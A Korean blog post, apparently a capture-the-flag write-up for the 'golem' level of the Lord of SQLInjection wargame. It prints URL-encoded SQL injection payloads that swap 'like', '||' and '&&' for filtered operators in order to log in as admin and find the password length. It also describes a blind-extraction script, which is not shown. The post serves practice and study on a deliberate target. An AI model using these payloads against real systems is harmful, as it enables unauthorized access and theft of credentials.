컴맹에서 컴공 그리고 화이트 해커가 되는 그날까지

LORD OF SQLINJECTION golem. write up 본문

해킹/Web hacking

LORD OF SQLINJECTION golem. write up

공부하는 뚱이 2023. 3. 2. 23:33
반응형

LORD OF SQLINJECTION은 문제를 풀다 보면 알 수 있지만 계속 단계를 거듭할수록 전 단계에서 사용했던 기술들을 활용하는 점에서 공부하는데 굉장히 큰 도움이 되는 것 같다.

 

이번 문제 역시 전 단계들을 풀면서 활용했던 기술들을 사용하는 문제이다. 

우선 'or', 'and' 그리고 이번에는 '=' 이것도 필터링이 되었다. '='은 'like'를 사용하여 필터링을 우회하였다. 

 

첫번째로 Hello admin을 띄워보자면 

?pw=123%27%20||%20id%20like%20%27admin# 

query : (select id from prob_golem where id='guest' and pw='123' || id like 'admin')

또는

?pw=123%27%20||%20id%20like%20%27admin%27--%20

query :  (select id from prob_golem where id='guest' and pw='123' || id like 'admin'-- ')

을 사용하면 된다.

 

 

그리고 이번에는 비밀번호의 길이를 알고 싶다면 

length(pw)를 추가하여 sql injection을 사용하면 된다.

 

?pw=123%27%20||%20id%20like%20%27admin%27%20%20%26%26%20length(pw)%20like%20%278#

query : (select id from prob_golem where id='guest' and pw='123' || id like 'admin' && length(pw) like '8')

또는

?pw=123%27%20||%20id%20like%20%27admin%27%20%20%26%26%20length(pw)%20like%20%278%27--%20

query : (select id from prob_golem where id='guest' and pw='123' || id like 'admin' && length(pw) like '8'-- ')

 

패스워드의 길이는 전 단계와 같이 8자리이다. (노가다 작업을 안 해도 돼서 다행이다...)

자 그럼 저번에 작성한 파이썬 코드를 약간만 수정해 주면 우리가 원하는 답을 얻을 수 있다.

 

파이썬 코드를 약간 분석해 주자면 

url을 쿼리 구문이 이렇게 되게 코딩한 다음 뒤에 문자를 대입해서 패스워드를 하나씩 찾아주는 과정을 반복하면 된다.

여기서 중요한 점은 url뒤에 붙이는 param에서도 필터링이 작용하기 때문에 '='을 'like'로 고쳐 주었다.

파이썬 코드를 실행시키면

 

 

pw 가 나온다.

?pw="결과로 나온 패스워드"를 입력해 주면

 

GOLEM 클리어!!!

반응형